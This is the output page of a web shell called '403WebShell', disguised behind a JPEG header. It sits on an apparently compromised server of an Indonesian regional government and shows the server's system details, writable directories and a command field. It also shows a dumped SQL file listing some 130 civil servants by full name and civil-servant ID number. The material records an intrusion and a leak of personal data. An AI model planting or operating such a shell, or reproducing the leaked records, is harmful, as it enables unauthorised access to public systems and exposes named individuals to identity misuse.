���� JFIF    �� 403WebShell
403Webshell
Server IP : 103.65.238.20  /  Your IP : 10.0.0.10
Web Server : Apache
System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 7.3.32
Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/prp2_toba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/prp2_toba/prp2pemkab.sql
-- phpMyAdmin SQL Dump
-- version 4.6.5.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: 27 Jul 2022 pada 17.48
-- Versi Server: 10.1.21-MariaDB
-- PHP Version: 5.6.30

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `prp2pemkab`
--

-- --------------------------------------------------------

--
-- Struktur dari tabel `akses_admin`
--

CREATE TABLE `akses_admin` (
  `id_user` int(11) NOT NULL,
  `username` varchar(100) NOT NULL,
  `nama_user` varchar(35) NOT NULL,
  `nip_user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `akses_admin`
--

INSERT INTO `akses_admin` (`id_user`, `username`, `nama_user`, `nip_user`) VALUES
(1, 'admin', 'Yudhi Andrian', '-'),
(2, 'bpdp1', 'Trie Utami, SH', '19910205 201403 2 002'),
(3, 'bpdp2', 'Nita Herawati', '19780903 200701 2 001'),
(4, 'ipd1', 'Ponimin', '197912022009011001'),
(5, 'dewan1', 'Sri Rafiqoh, SE', '198306252010012018'),
(6, 'polpp1', 'Ahmad Jufri Harahap, SE, M.Si', '198305192011011004'),
(7, 'bpbd1', 'Teguh Wigunardi', '198601072006041005'),
(8, 'bpp1', 'Nashriatun Munawwarah, SE', '197901242009032004'),
(9, 'aset1', 'Medika Eva Yanti, SE', '198603132010012019'),
(10, 'bpprd1', 'Novi Afriani, SE', '198504192011012019'),
(11, 'sumberdaya1', 'Annisa Ibrahim, SE', '199212202020122012'),
(12, 'bkd1', 'Sri Rahmadani, S.Kom', '198605202010012024'),
(13, 'bkbp1', 'Febri Kurniawan Siregar, A.Md', '199302272020122002'),
(14, 'bppd1', 'Nurhujaima, SE', '198709052020122004'),
(15, 'bmbk1', 'Reza Agus Parlindungan Hrp, ST', '198708202015071001'),
(16, 'desdm1', 'Elisabet UB. Pakpahan, SE', '199107242020122019'),
(17, 'dkp1', 'Erika Agustina, SE', '198608012010012003'),
(18, 'kehutanan1', 'Nenci Navratilova Manik, SE', '198406302006042002'),
(19, 'dinaskelautan1', 'Nanda Syahputra, S. Pi', '198409142011011011'),
(20, 'sipil1', 'Yusnita Hastuti Siregar, S.Pt', '1982007092009012001'),
(21, 'dinkes1', 'Eko Armando Maha, ST, ME', '199206102020121009'),
(22, 'dkpp1', 'Emilia Podesta Nasrun, SP, M.Si', '197507232010012005'),
(23, 'kominfo1', 'Martalisha', '196403131985032001'),
(24, 'kukm1', 'Rienty M. Nainggolan, A. Md', '197711052012122003'),
(25, 'lingkunganhidup1', 'H. Marsuyetno, S.Sos, M.AP', '196706181990071001'),
(26, 'dpmd1', 'Tengku Andri Saladin, SE', '197308082009011001'),
(27, 'dpppa1', 'Idham Mansyur, SE', '198709182010011003'),
(28, 'dispora1', 'Ariski Putra Yusuf, S.Pd', '198411262014031001'),
(29, 'dpm1', 'Rinto ML Tobing, S.AP', '19811106 200502 1 002'),
(30, 'disdik1', 'Syahfitra, S.Kom', '19721202 201212 1 006'),
(31, 'dppkb1', 'Darmansyah, SE', '19931208 202012 1 010'),
(32, 'dishub1', 'Evarina Nurihisa Ginting, M.Si', '19850825 201101 2 023'),
(33, 'dpp1', 'Febrina Kurniawaty Aruan, S.ST', '19810225 200902 2 002'),
(34, 'perkebunan1', 'Margareth Trisnawati br. Surbakti, ', '19870304 202012 2 006'),
(35, 'dpa1', 'Ahmad Afif Fauzan, SE', '19940718 202012 1 011'),
(36, 'pkp1', 'Hendra Oliver Sihombing, A.Md', '19850915 201001 1 018'),
(37, 'dinsos1', 'Desi Natalia Sitorus, S.ST', '19891220 201101 2 006'),
(38, 'dsda1', 'Muhammad Andrisyam, ST', '19871105 201101 1 002'),
(39, 'dtph1', 'Ednasari Damanik, SP', '19861207 201101 2 004'),
(40, 'dtk1', 'Relani Noverita Br. Sianturi, SE', '19831126 201101 2 002'),
(41, 'biropembangunan1', 'Afrini Yohana, SE, M.AP', '19850409 200604 2 001'),
(42, 'perekonomian1', 'Ambani Romasi Naibaho, A.Md', '19891227 201101 2 001'),
(43, 'hukum1', 'Macklin Pardede, A.Md', '19800324 201212 1 002'),
(44, 'bhk1', 'Taufik Siregar', '19810817 200902 1 002'),
(45, 'organisasi1', 'Simon Hutabarat', '19740905 200502 1001'),
(46, 'bsk1', 'Nuzuliana Lubis, S.Sos', '19700301 199103 2 002'),
(47, 'pemerintah1', 'Dra. Suheili Yusni Lubis', '19690708 199303 2 005'),
(48, 'bodk1', 'Hoiruman Pulungan, SE', '19660502 198810 1 001'),
(49, 'umum1', 'Faisal Ghifa Razak', '19760412 200901 1 003'),
(50, 'rsuhaji1', 'Ermiwati', '19781029 199903 2 002'),
(51, 'rsj1', 'Dian Sukmawarni Siregar, SKM', '19800409 200502 2 001'),
(52, 'ipd2', 'Diana Zuraeda', '19780117 200502 2 001'),
(53, 'dewan2', 'Wira Ardhiningtyas, A.Md', '19870130201101 1 003'),
(54, 'polpp2', 'Ahmad Jufri Harahap, SE, M.Si', '19830519 201101 1 004'),
(55, 'bpbd2', 'Arwanda Ginting', '19790328 201001 1 009'),
(56, 'bpp2', 'Chandra Siregar, S.Ak', '19890605 202012 1 005'),
(57, 'aset2', 'Widya Astuti, A.Md', '19800423 200901 2 001'),
(58, 'bpprd2', 'Norma Fadillah, SP', '19810916 200804 2 001'),
(59, 'sumberdaya2', 'Annisa Ibrahim, SE', '19921220 202012 2 012'),
(60, 'bkd2', 'Dewita Pratiwi, SE', '19930508 202012 2 011'),
(61, 'bkbp2', 'Nilvan Yasri Sidabutar, SE', '19890808 202012 1 010'),
(62, 'bppd2', 'Anjuita Situmorang, SE', '19820321 200902 2 002'),
(63, 'bmbk2', 'Martin Togar Hamonangan Sumbayak, S', '19770715 201001 1 002'),
(64, 'desdm2', 'Joko Supriono, SE', '19800128 200901 1 005'),
(65, 'dkp2', 'Maria Hotmauli Hutagaol, SE', '19860614 201001 2 018'),
(66, 'kehutanan2', 'Marthin Aliaser Sipayung', '19750324 199503 1 003'),
(67, 'dinaskelautan2', 'Nanda Syahputra, S.Pi', '19840914 201101 1 011'),
(68, 'sipil2', 'Dwin Fanani, SE', '19890425 201101 1 006'),
(69, 'dinkes2', 'Lamsirah Rita A. Hutagalung, SKM', '19770902 200012 2 001'),
(70, 'dkpp2', 'Yudhistira Purba, S.Pt', '19871126 201403 1 001'),
(71, 'kominfo2', 'Mohammad Suhemi', '19680421 200901 1 004'),
(72, 'kukm2', 'T Salmira Aziza, SE', '19750507 200701 2 008'),
(73, 'lingkunganhidup2', 'Irham Dani Tanjung, SE', '19830316 200901 1 001'),
(74, 'dpmd2', 'Hanafy Umri, SE', '19820526 2009001 1 001'),
(75, 'dpppa2', 'Idham Mansyur, SE', '19870918 201001 1 003'),
(76, 'dispora2', 'Yati Oktrina, S.IP', '19800108 200003 2 001'),
(77, 'dpm2', 'Pardamean Hutabarat, SE, M.Si, Ak', '19751229 200502 1 002'),
(78, 'disdik2', 'Dewi Irawati, SE', '19800505 201212 2 001'),
(79, 'dppkb2', 'Darmansyah, SE', '19931208 202012 1 010'),
(80, 'dishub2', 'Irma Hanum Lubis, A.Md', '19820216 201101 2 008'),
(81, 'dpp2', 'Febrina Kurniawaty Aruan, S.ST', '19810225 200902 2 002'),
(82, 'perkebunan2', 'Margareth Trisnawati br. Surbakti, ', '19870304 202012 2 006'),
(83, 'dpa2', 'Ahmad Afif Fauzan, SE', '19940718 202012 1 011'),
(84, 'pkp2', 'Nanda Rahmana, S.Kom', '19840913 201212 1 004'),
(85, 'dinsos2', 'Desi Natalia Sitorus, S.ST', '19891220 201101 2 006'),
(86, 'dsda2', 'Rameuli Pane, SE', '19850217 201001 2 005'),
(87, 'dtph2', 'Ae Bhatara Lubis', '19801214 200901 1 004'),
(88, 'dtk2', 'Trisna Handayani, SE', '19880111 202012 2 007'),
(89, 'biropembangunan2', 'Hanres Butar-Butar, S.IP', '19941118 201609 1 002'),
(90, 'perekonomian2', 'Ambani Romasi Naibaho, A.Md', '19891227 201101 2 001'),
(91, 'hukum2', 'Macklin Pardede, A.Md', '19800324 201212 1 002'),
(92, 'bhk2', 'Surya Ramadhan', '19790727 200801 1 005'),
(93, 'organisasi2', 'Wilda Frisca Marpaung, A.Md', '19870114 201101 2 012'),
(94, 'bsk2', 'Nunuk Mutia Sari A.Md', '19800731 200604 2 004'),
(95, 'pemerintah2', 'Suarsono', '19670305 20070 1 007'),
(96, 'bodk2', 'Dedi Yusmanto, SE', '19801106 200801 1001'),
(97, 'umum2', 'Rizka Signorita Siregar, A.Md', '19870304 200902 2 001'),
(98, 'rsuhaji2', 'Yatini', '19791112 200904 2 001'),
(99, 'rsj2', 'Fitria Rose, Amd', '19850126 201101 2 008');

-- --------------------------------------------------------

--
-- Struktur dari tabel `anggarankas_detail`
--

CREATE TABLE `anggarankas_detail` (
  `id_skpd` int(11) NOT NULL,
  `tahun` int(11) NOT NULL,
  `bulan` int(11) NOT NULL,
  `nilai` double NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `anggaran_kas`
--

CREATE TABLE `anggaran_kas` (
  `id_skpd` int(2) NOT NULL,
  `tahun` int(4) NOT NULL,
  `nilai` double NOT NULL,
  `namafile` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `bendahara_pengeluaran`
--

CREATE TABLE `bendahara_pengeluaran` (
  `id_ttd` int(11) NOT NULL,
  `nip_ttd` varchar(20) NOT NULL,
  `nama_ttd` varchar(100) NOT NULL,
  `ttd` varchar(50) NOT NULL,
  `id_skpd` int(11) NOT NULL,
  `is_active` enum('Y','N') NOT NULL,
  `tgl_input` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `bendahara_pengeluaran`
--

INSERT INTO `bendahara_pengeluaran` (`id_ttd`, `nip_ttd`, `nama_ttd`, `ttd`, `id_skpd`, `is_active`, `tgl_input`) VALUES
(1, '1983020620102019', 'SONDANG ERI JUNITA LUBIS, SH', 'sondang-eri-junita-lubis-sh-20211001-121507.jpg', 18, 'Y', '2021-10-01 12:08:11'),
(2, '198206122009012003', 'DEBI JULIANA SARAGIH', 'debi-juliana-saragih-20211004-095931.png', 1, 'Y', '2021-10-04 09:58:05'),
(3, '19860323 201001 1 00', 'ABDI LH TAMPUBOLON', 'abdi-lh-tampubolon-20211004-101256.jpg', 32, 'Y', '2021-10-04 10:12:56'),
(4, '197303071993032010', 'Rosita Simanjuntak, SH', 'rosita-simanjuntak-sh-20211004-102621.jpeg', 12, 'Y', '2021-10-04 10:26:21'),
(5, '197212062007012005', 'VIVI AULIA', 'vivi-aulia-20211004-105303.jpeg', 4, 'Y', '2021-10-04 10:53:03'),
(6, '19761201 200604 2 01', 'HOTMA DEWI SILALAHI', 'hotma-dewi-silalahi-20211005-151736.jpg', 30, 'Y', '2021-10-04 11:02:29'),
(7, '198212192007011002', 'AGUS SUFIYANNUR, SH', 'agus-sufiyannur-sh-20211004-110403.jpg', 17, 'Y', '2021-10-04 11:04:03'),
(8, '198307302015032002', 'Julita Hutapea, A.Md', 'julita-hutapea-amd-20211004-112317.png', 21, 'Y', '2021-10-04 11:23:17'),
(9, '19740315 200604 1 01', 'MISNAN', 'misnan-20211004-113228.jpg', 6, 'Y', '2021-10-04 11:32:28'),
(10, '198305302006042005', 'ENDANG ELLIS ROMEI SINAGA, SE', 'endang-ellis-romei-sinaga-se-20211004-113758.jpeg', 15, 'Y', '2021-10-04 11:37:58'),
(11, '198107282009011006', 'JOHN FERRY SITUMORANG, SH', 'john-ferry-situmorang-sh-20211004-113808.jpeg', 16, 'N', '2021-10-04 11:38:08'),
(12, '197605232008011003', 'BINAHAR LUMBANGAOL', 'binahar-lumbangaol-20211004-120223.jpg', 25, 'Y', '2021-10-04 12:02:24'),
(13, '19690818 200801 2 00', 'HAIDA SIBARANI', 'haida-sibarani-20211005-140710.jpeg', 10, 'Y', '2021-10-04 12:13:09'),
(14, '19810428 201212 2 00', 'FAZA HALILAH', 'faza-halilah-20211004-121502.jpg', 28, 'Y', '2021-10-04 12:15:03'),
(15, '198808022010012015', 'SYLVANI L. SITANGGANG, A.Md', 'sylvani-l-sitanggang-amd-20211005-101147.jpg', 33, 'Y', '2021-10-04 12:23:06'),
(16, '198608202014101001', 'YUDANTO', 'yudanto-20211004-124838.jpg', 31, 'Y', '2021-10-04 12:48:39'),
(17, '198707042011012019', 'MEGA SELVIA DEWI SIPAYUNG, SS', 'mega-selvia-dewi-sipayung-ss-20211004-133725.png', 22, 'Y', '2021-10-04 13:37:25'),
(18, '19810113 200901 1 00', 'Gopal Gultom', 'gopal-gultom-20211004-141849.jpeg', 11, 'Y', '2021-10-04 14:18:49'),
(19, '19730614 199404 2 00', 'NURLELY JUNIARI SITOMPUL', 'nurlely-juniari-sitompul-20211004-143500.jpeg', 14, 'Y', '2021-10-04 14:24:56'),
(20, '198703132011012033', 'CAROLINA MS SIAGIAN, S.Sos', 'carolina-ms-siagian-ssos-20211004-160034.jpeg', 9, 'Y', '2021-10-04 14:57:57'),
(21, '198504022009011001', 'HERMANSYAH, SE', 'hermansyah-se-20211004-150046.jpeg', 5, 'Y', '2021-10-04 15:00:46'),
(22, '197605062006041004', 'EIKA WIJAYA, A. Md', 'eika-wijaya-a-md-20211004-150525.png', 20, 'Y', '2021-10-04 15:05:25'),
(23, '19660121 198903 2 00', 'NIKMAH SIREGAR', 'nikmah-siregar-20211004-151205.jpeg', 3, 'Y', '2021-10-04 15:12:05'),
(24, '19820904 200901 2 00', 'HERTIARINA, S.Sos. i', 'hertiarina-ssos-i-20211004-151857.jpeg', 27, 'Y', '2021-10-04 15:18:57'),
(25, '198109062005021003', 'FRENGKI DANIEL PURBA,SH', 'frengki-daniel-purbash-20211004-154045.png', 26, 'Y', '2021-10-04 15:40:45'),
(26, '198107052009012002', 'Sri Hastuti', 'sri-hastuti-20211004-173221.jpg', 7, 'Y', '2021-10-04 15:56:36'),
(27, '196708291988102001', 'ASLI SILALAHI, SH', 'asli-silalahi-sh-20211005-122232.jpeg', 23, 'Y', '2021-10-05 10:20:22'),
(28, '19850908 201212 2 00', 'JENNITA SEPTIARA SIMARMATA', 'jennita-septiara-simarmata-20211005-113852.jpeg', 24, 'Y', '2021-10-05 11:38:52'),
(29, '19690511 2015062002', 'Indri Melisa Siagian', 'indri-melisa-siagian-20211005-121322.jpg', 2, 'Y', '2021-10-05 12:13:22'),
(30, '198107282009011006', 'JOHN FERRY H. SITUMORANG, SH', 'john-ferry-h-situmorang-sh-20211005-123934.jpeg', 16, 'Y', '2021-10-05 12:39:34'),
(31, '197811302009032001', 'NOVITA DOSRIA SIAHAAN', 'novita-dosria-siahaan-20211005-125742.jpeg', 8, 'Y', '2021-10-05 12:57:42'),
(32, '197904242010012009', 'Kesra Sibarani, SH', 'kesra-sibarani-sh-20211005-143730.jpg', 13, 'Y', '2021-10-05 14:37:30'),
(33, '197602142005022005', 'FELLEWANNA PURBA, SH', 'fellewanna-purba-sh-20211005-153847.jpg', 29, 'Y', '2021-10-05 15:38:47'),
(34, '197511182007012006', 'TARHIRIM SIHOMBING, SH', 'tarhirim-sihombing-sh-20211005-185024.png', 19, 'Y', '2021-10-05 18:06:45');

-- --------------------------------------------------------

--
-- Struktur dari tabel `bulan`
--

CREATE TABLE `bulan` (
  `id_bulan` int(11) NOT NULL,
  `nama_bulan` varchar(20) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `bulan`
--

INSERT INTO `bulan` (`id_bulan`, `nama_bulan`) VALUES
(1, 'Januari'),
(2, 'Februari'),
(3, 'Maret'),
(4, 'April'),
(5, 'Mei'),
(6, 'Juni'),
(7, 'Juli'),
(8, 'Agustus'),
(9, 'September'),
(10, 'Oktober'),
(11, 'November'),
(12, 'Desember');

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_alokasi_pemko`
--

CREATE TABLE `data_alokasi_pemko` (
  `id_alokasi_pemko` int(11) NOT NULL,
  `tahun` int(11) NOT NULL,
  `pendapatan` double NOT NULL,
  `pad` double NOT NULL,
  `transfer` double NOT NULL,
  `pusat` double NOT NULL,
  `dbh_daerah` double NOT NULL,
  `pad_lain` double NOT NULL,
  `belanja` double NOT NULL,
  `operasi` double NOT NULL,
  `modal` double NOT NULL,
  `takterduga` double NOT NULL,
  `pembiayaan` double NOT NULL,
  `st_anggaran` int(11) NOT NULL DEFAULT '1' COMMENT '1:APBD, 2:PAPBD'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_alokasi_tr_pemko`
--

CREATE TABLE `data_alokasi_tr_pemko` (
  `id_alokasi_tr_pemko` int(11) NOT NULL,
  `tahun` int(11) NOT NULL,
  `dbh` double NOT NULL,
  `dau` double NOT NULL,
  `dak` double NOT NULL,
  `daknon` double NOT NULL,
  `st_anggaran_tr` int(11) NOT NULL DEFAULT '1' COMMENT '1:APBD, 2:PAPBD'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_kegiatan`
--

CREATE TABLE `data_kegiatan` (
  `id_kegiatan` int(11) NOT NULL,
  `id_skpd` int(11) NOT NULL,
  `id_pa` int(11) NOT NULL,
  `no_kontrak` varchar(25) NOT NULL,
  `nama_penyedia` varchar(100) NOT NULL,
  `tgl_kontrak` date NOT NULL,
  `lokasi_pekerjaan` varchar(200) NOT NULL,
  `longitude` float NOT NULL,
  `latitude` float NOT NULL,
  `nilai_pagu` double NOT NULL,
  `jenis_kegiatan` int(11) NOT NULL,
  `id_jenis_kegiatan` int(11) NOT NULL,
  `nama_kegiatan` varchar(200) NOT NULL,
  `id_jenis_pelaksanaan` int(11) NOT NULL,
  `tgl_mulai` date NOT NULL,
  `tgl_akhir` date NOT NULL,
  `target_angka` int(11) NOT NULL,
  `target_tipe` enum('H','M','B','T') NOT NULL COMMENT 'Hari, Minggu, Bulan',
  `user_input` int(11) NOT NULL,
  `tgl_input` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_kegiatan_detail`
--

CREATE TABLE `data_kegiatan_detail` (
  `id_kegiatan_detail` int(11) NOT NULL,
  `id_kegiatan` int(11) NOT NULL,
  `jenis_target` enum('H','M','B','T') NOT NULL,
  `tahapan_target` int(11) NOT NULL,
  `jadwal_target` date NOT NULL,
  `target` double NOT NULL,
  `target_keuangan` double NOT NULL,
  `realisasi` double NOT NULL,
  `realisasi_keuangan` double NOT NULL,
  `keterangan_target` varchar(200) NOT NULL,
  `user_input` int(11) NOT NULL,
  `tgl_input` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_kegiatan_fisik`
--

CREATE TABLE `data_kegiatan_fisik` (
  `id_kegiatan_fisik` int(5) NOT NULL,
  `kode_tender` int(8) NOT NULL,
  `kode_rup` int(8) NOT NULL,
  `nama_tender` varchar(255) NOT NULL,
  `tanggal_tayang` varchar(25) NOT NULL,
  `anggaran` varchar(12) NOT NULL,
  `nama_skpd` varchar(75) NOT NULL,
  `id_skpd` int(3) NOT NULL,
  `kategori` varchar(30) NOT NULL,
  `id_metode` int(2) NOT NULL,
  `kualifikasi` varchar(20) NOT NULL,
  `dokumen` varchar(10) NOT NULL,
  `motode_evaluasi` varchar(35) NOT NULL,
  `nilai_pagu` double NOT NULL,
  `nilai_hps` double NOT NULL,
  `nama_pemenang` varchar(50) NOT NULL,
  `harga_penawaran` double NOT NULL,
  `st_jadwal` varchar(100) NOT NULL,
  `nama_metode` varchar(15) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_kode_rekening`
--

CREATE TABLE `data_kode_rekening` (
  `id_uraian` int(2) NOT NULL,
  `kode_rekening` varchar(16) NOT NULL,
  `uraian` varchar(150) NOT NULL,
  `level` int(1) NOT NULL,
  `jenis` int(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `data_kode_rekening`
--

INSERT INTO `data_kode_rekening` (`id_uraian`, `kode_rekening`, `uraian`, `level`, `jenis`) VALUES
(1, '4', 'PENDAPATAN DAERAH', 1, 1),
(2, '4.1', 'PENDAPATAN ASLI DAERAH (PAD)', 2, 1),
(3, '4.2', 'PENDAPATAN TRANSFER', 2, 1),
(4, '4.3', 'LAIN-LAIN PENDAPATAN DAERAH YANG SAH', 2, 1),
(5, '5', 'BELANJA DAERAH', 1, 2),
(6, '5.1', 'BELANJA OPERASII', 2, 2),
(7, '5.2', 'BELANJA MODAL', 2, 2),
(8, '5.3', 'BELANJA TIDAK TERDUGA', 2, 2),
(9, '5.4', 'BELANJA TRANSFER', 2, 2),
(10, '4.2.1.01.01', 'Dana Transfer Umum-Dana Bagi Hasil (DBH)', 5, 1),
(11, '4.2.1.01.02', 'Dana Transfer Umum-Dana Alokasi Umum (DAU)', 5, 1),
(12, '4.2.1.01.03', 'Dana Transfer Khusus-Dana Alokasi Khusus (DAK) Fisik', 5, 1),
(13, '4.2.1.01.04', 'Dana Transfer Khusus-Dana Alokasi Khusus (DAK) Non Fisik', 5, 1),
(14, '4.3.4.01.02 ', 'Dana Insentif Daerah (DID)', 5, 1),
(15, '4.3.5', 'Dana Desa', 3, 1);

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_kontrak_real`
--

CREATE TABLE `data_kontrak_real` (
  `id_real` int(7) NOT NULL,
  `tahun` int(4) NOT NULL,
  `id_kontrak` int(7) NOT NULL,
  `no_kontrak` varchar(150) NOT NULL,
  `nilai` double NOT NULL,
  `kd_urusan` int(1) NOT NULL,
  `kd_bidang` int(2) NOT NULL,
  `kd_unit` int(1) NOT NULL,
  `kd_sub` int(1) NOT NULL,
  `kd_keg` int(4) NOT NULL,
  `keterangan` varchar(35) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `data_kontrak_real`
--

INSERT INTO `data_kontrak_real` (`id_real`, `tahun`, `id_kontrak`, `no_kontrak`, `nilai`, `kd_urusan`, `kd_bidang`, `kd_unit`, `kd_sub`, `kd_keg`, `keterangan`) VALUES
(1, 2022, 1, '123/765', 100000000, 1, 1, 1, 1, 0, ''),
(2, 2022, 2, '123/ty', 100000000, 1, 1, 1, 1, 0, '');

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_prioritas`
--

CREATE TABLE `data_prioritas` (
  `id_prioritas` int(1) NOT NULL,
  `nama_prioritas` varchar(150) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data untuk tabel `data_prioritas`
--

INSERT INTO `data_prioritas` (`id_prioritas`, `nama_prioritas`) VALUES
(1, 'Prioritas Pembangunan Peningkatan dan Pemenuhan Akses Pendidikan'),
(2, 'Prioritas peningkatan derajat kesehatan masyarakat'),
(3, 'Prioritas peningkatan kesempatan kerja dan berusaha melalui penyediaan lapangan pekerjaan'),
(4, 'Prioritas peningkatan daya saing melalui sektor agraris'),
(5, 'Prioritas peningkatan daya saing melalui sektor pariwisata'),
(6, 'Prioritas peningkatan kualitas reformasi birokrasi'),
(7, 'Prioritas peningkatan sosial kemasyarakatan dan olahraga'),
(8, 'Prioritas Pembangunan Infrastruktur Yang Baik Dan Berwawasan Lingkungan');

-- --------------------------------------------------------

--
-- Struktur dari tabel `data_realisasi`
--

CREATE TABLE `data_realisasi` (
  `id_realisasi` int(11) NOT NULL,
  `id_skpd` int(11) NOT NULL,
  `tahun` int(11) NOT NULL,
  `bulan` int(11) NOT NULL,
  `pagu` double NOT NULL,
  `realisasi_atbulan` double NOT NULL,
  `realisasi_sdbulan` double NOT NULL,
  `sisa` double NOT NULL,
  `tanggal_input` datetime NOT NULL,
  `pendapatan` double NOT NULL,
  `realisasi_pendapatan` double NOT NULL,
  `pad` double NOT NULL,
  `realisasi_pad` double NOT NULL,
  `transfer` double NOT NULL,
  `realisasi_transfer` double NOT NULL,
  `pusat` double NOT NULL,
  `realisasi_pusat` double NOT NULL,
  `dbh` double NOT NULL,
  `realisasi_dbh` double NOT NULL,
  `dau` double NOT NULL,
  `realisasi_dau` double NOT NULL,
  `dak` double NOT NULL,
  `realisasi_dak` double NOT NULL,
  `daknon` double NOT NULL,
  `realisasi_daknon` double NOT NULL,
  `dbh_daerah` double NOT NULL,
  `realisasi_dbh_daerah` double NOT NULL,
  `pad_lain` double NOT NULL,
  `realisasi_pad_lain` double NOT NULL,
  `belanja` double NOT NULL,
  `realisasi_belanja` double NOT NULL,
  `operasi` double NOT NULL,
  `realisasi_operasi` double NOT NULL,
  `modal` double NOT NULL,
  `realisasi_modal` double NOT NULL,
  `takterduga` double NOT NULL,
  `realisasi_takterduga` double NOT NULL,
  `persen_pendapatan` double NOT NULL,
  `persen_belanja` double NOT NULL,
  `tgl_data` date NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
